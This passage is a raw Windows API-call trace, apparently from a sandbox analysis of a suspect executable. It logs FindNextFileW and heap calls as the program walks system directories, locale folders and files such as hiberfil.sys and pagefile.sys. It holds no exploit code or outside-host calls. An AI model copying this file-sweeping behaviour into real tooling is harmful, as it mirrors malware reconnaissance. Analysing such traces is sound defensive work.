nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0064.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.201] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0064.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.201] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0064.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.202] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0064.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.202] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0064.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.202] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0064.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.202] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0064.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0064.202] FindNextFileW (in: hFindFile=0x583248, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0064.202] FindClose (in: hFindFile=0x583248 | out: hFindFile=0x583248) returned 1 [0064.203] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0064.204] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0064.204] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0064.204] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0064.205] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0064.205] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x174ff10, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0064.208] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4eec60, Size=0x8000) returned 0x37e0998 [0064.209] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0064.212] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0064.212] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x21ffac8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0064.669] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3740948 | out: hHeap=0x490000) returned 1 [0064.669] FindNextFileW (in: hFindFile=0x4a9498, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42c5547c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x42c5547c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0064.670] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0064.670] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x178120a0, ftCreationTime.dwHighDateTime=0x1d5504d, ftLastAccessTime.dwLowDateTime=0x63956aa0, ftLastAccessTime.dwHighDateTime=0x1d5bfb5, ftLastWriteTime.dwLowDateTime=0x63956aa0, ftLastWriteTime.dwHighDateTime=0x1d5bfb5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dryer-pocket.exe", cAlternateFileName="DRYER-~1.EXE")) returned 1 [0064.672] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0064.672] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0064.673] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.673] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0064.673] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.673] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0064.673] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.673] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0064.673] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.673] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0064.674] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.674] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0064.674] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.674] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0064.674] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.674] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.676] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.676] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0064.676] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.676] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0064.676] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.676] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0064.676] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.676] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0064.676] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ddba50 | out: hHeap=0x490000) returned 1 [0064.677] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0064.677] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x37e0998, Size=0x10000) returned 0x3ddba50 [0064.677] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0064.678] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.678] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0064.678] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3deba58 | out: hHeap=0x490000) returned 1 [0064.678] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0064.678] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.678] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0064.678] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.678] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0064.679] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.679] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0064.681] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.681] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0064.681] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.681] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0064.681] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.681] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0064.682] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.682] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0064.682] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.682] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x37e0998, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0064.682] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dfba60 | out: hHeap=0x490000) returned 1 [0064.682] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, 